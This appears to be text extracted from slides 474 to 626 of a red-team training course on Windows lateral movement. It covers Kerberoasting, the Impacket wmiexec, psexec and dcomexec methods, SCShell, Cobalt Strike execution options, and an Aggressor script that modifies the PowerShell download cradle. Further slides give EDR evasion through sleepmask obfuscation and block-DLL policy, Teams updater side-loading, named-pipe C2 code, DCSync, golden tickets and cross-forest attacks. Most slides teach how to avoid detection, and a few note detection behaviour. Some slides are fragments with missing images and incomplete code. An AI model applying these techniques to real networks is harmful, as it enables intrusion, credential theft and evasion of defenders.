The ticket is encrypted using the account password, meaning that it can be
attacked
Several publicly available tools can be used to retrieve the ticket
▪ https://github.com/GhostPack/Rubeus
▪ https://github.com/nidem/kerberoast
▪ https://github.com/EmpireProject/Empire/blob/master/data/module_source/cre
dentials/Invoke-Kerberoast.ps1
▪ https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSP
Ns.py
474
Lateral Movements
475
Lateral Movements
A regular user can request a ticket for any server principal and can
attempt a brute force
476
Lateral Movements
The defaults setting are RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96
477
Lateral Movements
Impacket is a wonderful suite of tools that can be used to perform
lateral movement, but at what cost?
The case of wmiexec.py
It start with a good ol’ NTLMSSP NEGOTIATE to authenticate the user
478
Lateral Movements
Then it initializes the remote wmi instance over DCERPC
479
Lateral Movements
Then, it opens the Win32_Process to ready the process creation
480
Lateral Movements
Finally, the process is registered, and the command is executed
481
Lateral Movements
The output is retrieved over SMB3
SMB3 is the latest version that fully encrypt the data. You can
downgrade it to SMB1 for you test and see the data
482
Lateral Movements
The process tree confirms the execution via the WMI process
483
From a detection perspective, we
observed the following behavior
SMB authentication
484
Lateral Movements
Lateral movement using PoisonHandler https://github.com/Mr-
Un1k0d3r/PoisonHandler
DCERPC to modify the remote host registry key to register the protocol
handler
485
Lateral Movements
The registry key is added using StdRegProv::CreateKey
486
Lateral Movements
The rest of the execution remains unchanged, except that instead of
executing the command directly over WMI, the previously defined
protocol handler is used which hide the true command
start ms-browser://
rundll32 url.dll,FileProtocolHandler ms-browser://
487
From a detection perspective, we
observed the following behavior
DCERPC authentication
cmd.exe
488
Quick note on the protocol we saw
489
Lateral Movements
The psexec.py case (note that psexec.exe is using the same approach)
Once again NTLMSSP NEGOTIATE over SMB
Then SMB3 exchange right away
490
Lateral Movements
The SMB3 exchange is used to push the exe file that will be registered
as a service
491
Lateral Movements
The service executes the command
492
Lateral Movements
psexec.py generates an arbitrary service name and file name. However,
psexec.exe always registers the same service and the service executable
name is the same:
psexecsvc
smbexec.py uses the same approach and registers a service named
“BTOBTO” by default; the output is saved to a file and retrieved over
SMB
493
From a detection perspective, we
observed the following behavior:
SMB authentication
cmd.exe spawned
494
Lateral Movements
The atexec.py case
Once again NTLMSSP NEGOTIATE over SMB
Then SMB3 exchange right away
495
Lateral Movements
It is transferring the task file
496
Lateral Movements
Finally, the task is executed via svchost.exe and the output is saved to a
file. The output is retrieved over SMB
497
From a detection perspective, we
observed the following behavior
SMB authentication
cmd.exe spawned
498
Lateral Movements
The dcomexec.py case
Once again NTLMSSP NEGOTIATE over SMB
499
Lateral Movements
Like WMI execution, DCERPC is then used to initialize a remote
instance. In this case, the instance is based on the COM object used
500
Lateral Movements
The instantiated object invokes a method, in this case, ShellExecute
501
Lateral Movements
The output is saved to a file
502
Lateral Movements
Then once again the output is retrieved over SMB
503
Lateral Movements
The command is executed through the DCOM launch
504
From a detection perspective, we
observed the following behavior:
SMB authentication
505
Lateral Movements
The WinRM case
Once again NTLMSSP NEGOTIATE over… HTTP this time
506
Lateral Movements
WSMN is launching the process
507
Lateral Movements
▪ Note that WinRM is a Windows feature, which explain why the
execution flow is a bit more straight-forward
508
From a detection perspective, we
observed the following behavior:
HTTP authentication
Lateral Movements
The WSMAN process is launched
cmd.exe spawned
509
Lateral Movements
SCShell technique:
This technique relies on Service Manager to update the binary path
name of an existing service; it is technically a fileless lateral movement
technique
https://github.com/Mr-Un1k0d3r/SCShell
510
Lateral Movements
DCERPC is used to initialize the SVCCTL (Service Control Manager
Remote Protocol)
Notice that, in this case, the authentication occurs over DCERPC
511
Lateral Movements
The SVCCTL is calling the following APIs
OpenSCManagerA Get a SCManager handle
OpenServiceA Open a handle on the target service
QueryServiceConfigA Query service binary path name
ChangeServiceConfigA Update the binary path name to the attacker controlled one
StartServiceA Start the service to trigger the binary path
ChangeServiceConfigA Revert to the original binary path name
512
Lateral Movements
Using a Windows binary, such as regsvr32.exe, allows to execute code
on the remote system without dropping a file on disk
513
From a detection perspective, we
observed the following behavior
DCERPC authentication
Lateral Movements
Service is modified
514
Lateral Movements
When I released SCShell, it was a fairly new concept. Which prove that
you are always limited by your own knowledge when it come to
detection and attack
https://community.rsa.com/t5/rsa-netwitness-platform-blog/using-
the-rsa-netwitness-platform-to-detect-lateral-movement/ba-p/521300
515
Lateral Movements
IMPORTANT NOTE
This is why I think doing your own research and coming up with your
own ways of doing things will be valuable, since defender detect was is
well known/used
516
Lateral Movements
The CobaltStrike case
psexec option is pretty much the same as the standard psexec
However, Cobalt Strike is using the following structure
517
Lateral Movements
The CobaltStrike case
518
Lateral Movements
When it comes to red team, if you are running
powershell.exe, YOU ARE DOING IT WRONG
519
Lateral Movements
The CobaltStrike case using wmi
520
Lateral Movements
The command is built using the following syntax
521
Lateral Movements
Advanced note:
Cobalt Strike offers several ways to modify the payload structure using
engine script
522
Lateral Movements
Based on all the information we have, we may revisit the
definition of stealth lateral movement technique:
You are going to have to
You are going to have to run
authenticate at some point on the
something at some point
remote host
523
Lateral Movements
▪ Building your own toolset:
▪ A simple wmi utility will let you pick the process you want to run; no
need to start the execution chain using cmd.exe
▪ The utility can be used in pretty much every context
▪ https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Remote-
WmiExecute.ps1
524
Lateral Movements
▪ Running regsvr32 directly via wmi without dropping a file on disk
525
Lateral Movements
526
Lateral Movements
527
Lateral Movements
It’s also important to note that what you run on the remote host
matters, once again based on the behavior we observed a payload may
goes through the detection in place. And again, EDR reconnaissance
may help
528
Lateral Movements
529
Lateral Movements
530
Lateral Movements
531
Lateral Movements
532
Lateral Movements
Don’t be scared to create your own lab and adapt the available toolset
to remain as stealth as possible
You can also adapt existing tools to change the way it works
533
Exercise
Adapt wmiexec.py to
run a process without
cmd.exe and remove
output
Lateral Movements
535
Lateral Movements
536
Lateral Movements
We can confirm the pattern
537
Lateral Movements
You can bypass detection by leveraging trusted binaries:
The LOLBAS compiled a list of them https://github.com/LOLBAS-Project/LOLBAS
▪ rundll32.exe
▪ regasm.exe
▪ regsvr32.exe
▪ msbuild.exe
▪ cscript.exe
▪ cdb.exe
▪ update.exe (Teams update)
▪ …
538
Lateral Movements
539
Lateral Movements
Architecture matters
You CAN’T inject x86 into a x64 process and vice versa
540
Lateral Movements
Technically this is not 100% accurate, you can abuse of the heaven
gate’s
https://medium.com/@fsx30/hooking-heavens-gate-a-wow64-hooking-technique-
5235e1aeed73
http://www.alex-ionescu.com/?p=300
541
Lateral Movements
542
Lateral Movements
543
Lateral Movements
The stager is validating the current process architecture before
executing the payload decoder stored in $DoIt variable
This check is added when generating the 32 bits version of the payload,
since most systems will launch Powershell as a 64 bits process
544
Lateral Movements
Architecture is critical for the next step:
545
Lateral Movements
From an opsec perspective, even if you are using unmanaged powershell to run the payload, you
may end up calling Powershell
For example, using PowerLessShell: https://github.com/Mr-Un1k0d3r/PowerLessShell
546
Moral of the story: if you are using a 64 bits shellcode, make
sure you are using the right architecture
32 bits msbuild.exe:
• C:\Windows\Microsoft.NET\Framework\v4.0.30319
64 bits msbuild.exe:
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319
32 bits powershell.exe:
Lateral Movements • %SystemRoot%\syswow64\WindowsPowerShell\v1.0\
64 bits powershell.exe:
• %SystemRoot%\system32\WindowsPowerShell\v1.0\
547
Lateral Movements
What are my options to run code?
Cobalt Strike offers the following main options:
▪ execute-assembly
▪ powershell
▪ powerpick
▪ shell
▪ inline-execute (bof file)
▪ inject
548
Lateral Movements
Execute-assembly:
Execute assembly is loading a .Net executable in memory without
touching the disk
549
Lateral Movements
.spawn() mean a sacrificial process is going to
be launched
550
Lateral Movements
The constructor is calling JobSimple constructor
551
Lateral Movements
The constructor simply sets the tasker according to the argument
552
Lateral Movements
The ReflectiveDLL class is taking
care of preparing the underlying
dll to execute the final payload
553
Lateral Movements
Everything is ready; the spawn method is then called
554
Lateral Movements
Powershell:
Simply invoke Powershell and execute a command
555
Lateral Movements
Powershell:
If POWERSHELL_COMMAND is set, you can override the format. If not
set, it simply encodes the command and executes it via powershell
556
Lateral Movements
Powerpick:
Use unmanaged powershell technique to run powershell without
invoking powershell.exe
557
Lateral Movements
The beacon will inject the proper dll according to the architecture
558
Lateral Movements
Enables unmanaged hosts to load the common language runtime (CLR) into a process
The Common Language Runtime (CLR), the virtual machine component of Microsoft .NET
framework, manages the execution of .NET programs
559
Lateral Movements
A named pipe is created to capture the output
560
Lateral Movements
Named pipe are cool and can be used to to exchange information
between process and can be called remotely too
\\\\ip\pipe\yourpipe
\\.\pipe\yourpipe
561
Lateral Movements
You can also run unmanaged powershell via C# directly
562
Lateral Movements
Shell:
Execute a system command via %COMSPEC% aka cmd.exe
563
Lateral Movements
Keep in mind that several commands will inject process in memory:
▪ Any Mimikatz related commands
▪ Spawn commands that execute shellcode
▪ Pass the hash
▪ Keylogger
▪ Inject*
▪ Hashdump
▪ DCSync
▪ Browser pivot
▪ …
You may want to unhook your process before the injection to calm
down the EDR
564
Lateral Movements
Also keep in mind that Spawn under will execute powershell
565
Lateral Movements
Powershell download gradle
Every powershell loaded, including unmanaged, will use the IEX (New-
Object Net.WebClient).DownloadString() format
566
Lateral Movements
Powershell download gradle modification through an Aggressor script:
set POWERSHELL_DOWNLOAD_CRADLE {
$data = "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
$data = strrep($data, "127.0.0.1", "127.0.0.3");
return $data;
}
567
15 minutes break
Lateral Movements
Quick note on Aggressor script and BOF
You can run command using inline-execute to execute C object file within the same
process and NO remote process injection will be performed
569
Lateral Movements
Most BOF tutorial will force you to rewrite your code to port it
Original code
570
Lateral Movements
Two main trick to not rewrite all the code:
571
Lateral Movements
Simple C macro:
#define printf(format, args...) {
BeaconPrintf(CALLBACK_OUTPUT, format, ## args); }
Simple C macro:
FARPROC Resolver(CHAR *lib, CHAR *func) {
FARPROC ptr = kernel32$GetProcAddress(kernel32$LoadLibraryA(lib), func);
return ptr;
}
572
Lateral Movements
int go(char *args, int length) {
FARPROC GetCurrentProcessId = Resolver("kernel32.dll", "GetCurrentProcessId");
datap parser;
573
Lateral Movements
BOF file version of args
datap parser;
Classic C args
CHAR *name = argv[1];
574
Lateral Movements
Passing argument to your script C macro:
alias boftest {
local('$handle $data $args');
$handle = openf(script_resource("bof.o"));
$data = readb($handle, -1);
closef($handle);
575
Lateral Movements
Obfuscation and sleepmask
To ensure that the compiler does not get rid of your code,
you need to make the code impossible to guess?
DWORD i = 1;
BYTE a ^= i;
That being said, we can now investigate how we can modify the sleepmask kit
It may try to extract the key from char mask but your structure will
point to offset int nothing preventing proper decryption and
analysis of the sample
Lateral Movements
Once you are done recompile the sleepmask, update your script and
you are good to go, your beacon will use the newly compiled
structure
Lateral Movements
Cobalt Strike version 3.14 introduced a new feature called block DLL
The goal is to prevent usermode hooking by enforcing Windows loading policy to
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARI
ES_ALWAYS_ON
Using the following Windows API UpdateProcThreadAttribute
https://mr.un1k0d3r.online/training/source/block_dll.c
589
Lateral Movements
This will prevent DLL not signed by Microsoft to be loaded inside the
newly created process. Avoid usermode EDR hook to be loaded on the
remote process
590
Writing your own C2 and
lateral movement payload may
avoid detection too
Lateral ThunderShell
Movements https://github.com/Mr-
Un1k0d3r/ThunderShell
592
Lateral Movements
593
Lateral Movements
You can DCsync credentials when you have domain admins credentials
594
Lateral Movements
595
Lateral Movements
I know that passwords are appealing, but if you can, STAY AWAY of
Mimikatz
596
Lateral Movements
Kerberos can be used by impersonating another process token:
▪ Simply inject yourself in the process
You can also generate Golden ticket and use the token within your
Cobalt Strike beacon using:
kerberos_use_ccache /path/to/your/ticket
597
Lateral Movements
You can use https://github.com/GhostPack/Rubeus to perform pass-
the-ticket and manage tickets
598
Lateral Movements
In conclusion, lateral movement is an art. Choose the right method to avoid been
detected, and remember these little tricks:
599
Lateral Movements
Side loading is useful to launch malicious code via legitimate software
600
Lateral Movements
Process monitor is a good way to look for such behaviors
601
Lateral Movements
Why %appdata% is bad? It’s writable by the current user by default
Which lead to all kind of unexpected behavior
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-
blog/executing-code-using-microsoft-teams-updater/
602
Lateral Movements
Electron updater.exe which is bootstraping electron app such as Teams for Microsoft, can
be abused because of the fact that %appdata% is user writable
603
Lateral Movements
The whole purpose of the code was to prevent passing argument such
as –processStart ..\..\..\..\..\..\windows\system32\cmd.exe
604
Lateral Movements
605
Lateral Movements
See where this is going?
You can simply drop whatever file you want updater.exe to run in the
current folder, since you have the permission, and you have a new
lolbin
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/
606
Lateral Movements
What about the DLL loaded by Teams.exe
607
Lateral Movements
608
Lateral Movements
You now have the perfect scenario to hide your payload in one of
those DLLs that will be loaded by Teams.exe
609
Lateral Movements
Get a callback on system that can’t connect to the Internet using
named pipe
A named pipe is a one-way or duplex pipe that provides
communication between the pipe server and some pipe clients
Built-in in Cobalt Strike (SMB Beacon)
610
Lateral Movements
Source: https://mr.un1k0d3r.online/training/source/clientpipe.c
#include <Windows.h>
#include <stdio.h>
DWORD dwWritten = 0;
HANDLE hPipe = CreateFile(remotePipeName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hPipe);
return 0;
611
Lateral Movements
Server source: https://mr.un1k0d3r.online/training/source/serverpipe.c
#include <Windows.h>
#include <stdio.h>
#define MAX_SIZE 1024
int main() {
CHAR buffer[MAX_SIZE];
DWORD dwRead = 0;
HANDLE hPipe = CreateNamedPipe("\\\\.\\pipe\\ringzer0", PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, PIPE_UNLIMITED_INSTANCES, MAX_SIZE, 0, 10000,
NULL);
printf("hPipe 0x%p\n", hPipe);
ConnectNamedPipe(hPipe, NULL);
ReadFile(hPipe, buffer, MAX_SIZE, &dwRead, NULL);
printf("We got %d bytes\n", dwRead);
printf("Received: %s\n", buffer);
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
return 0;
}
612
Lateral Movements
Want to avoid AVs and EDRs? Run your tool from a remote system
proxychains on Linux
You need to set a sock proxy on your beacon
/etc/proxychains.conf
613
Lateral Movements
Make sure to update the proxy DNS to be able to discover hosts on the
remote network
/usr/lib/proxychains3/proxyresolv
614
Lateral Movements
Now that your DNS is set to resolve host in the client network, you can
simply run your favorite command
615
Lateral Movements
SSH is also nice to forward port and available on Windows by default
616
Lateral Movements
You can specify another host as the source; it does not have to be
127.0.0.1
617
Lateral Movements
Moving between forest and trust
618
Lateral Movements
619
Lateral Movements
You may have noticed that most of my tools allow you to specify the
domain you want to target… Now you know why
620
Lateral Movements
As ringzer0\charles you could:
621
Lateral Movements
You need the DC ip for the supersecure.prod domain
622
Lateral Movements
623
Lateral Movements
Spooler bugs and others bugs can be used to
compromise another domain/forest without creds as
long as you can connect to it
▪Extra SIDs
▪Check foreign users in the domain you have access
▪PetitPotam the other domain DCs
624
Lateral Movements
There is plenty of interesting vectors that can be
exploited between domain
https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-
ef5f8992bb9d
625
EOF
That’s it. Thanks for your time
With Love Mr.Un1k0d3r
• Twitter @MrUn1k0d3r
• Website https://mr.un1k0d3r.online
• Github https://github.com/Mr-Un1k0d3r
• Patreon https://patreon.com/MrUn1k0d3r
• Email [email protected]
626